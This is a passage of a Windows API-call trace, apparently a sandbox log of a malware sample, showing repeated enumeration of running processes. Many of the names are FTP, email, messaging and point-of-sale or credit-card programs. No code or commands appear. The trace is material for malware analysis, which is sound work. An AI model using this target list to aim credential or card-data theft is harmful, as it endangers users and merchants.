th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0242.375] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0242.376] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0242.413] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0242.415] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0242.416] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0242.418] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0242.421] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0242.423] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0242.425] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0242.427] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0242.430] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0242.433] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0242.436] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0242.438] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0242.441] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0242.443] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0242.445] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0242.447] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0242.449] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0242.451] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0242.490] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0242.491] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0242.493] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0242.495] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0242.496] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0242.498] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0242.500] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0242.501] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0242.503] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0242.505] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0242.507] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0242.508] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0242.510] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0242.511] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0242.513] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0242.514] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0242.516] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0242.517] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0242.519] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0242.521] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0242.522] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0242.524] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0242.526] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0242.528] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0242.530] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0242.532] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0242.582] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0242.585] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0242.586] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0242.588] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0242.589] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0242.591] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0242.592] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0242.594] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0242.595] CloseHandle (hObject=0x13b0) returned 1 [0242.595] Sleep (dwMilliseconds=0x64) [0242.637] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0242.651] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.653] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.655] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.656] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.657] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.659] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.707] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0242.709] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0242.710] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0242.712] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.713] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.715] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0242.716] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.717] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.719] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.720] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.722] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.723] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.725] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.726] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0242.728] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0242.729] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0242.730] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.732] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0242.733] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0242.735] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0242.736] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0242.738] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.786] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0242.788] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 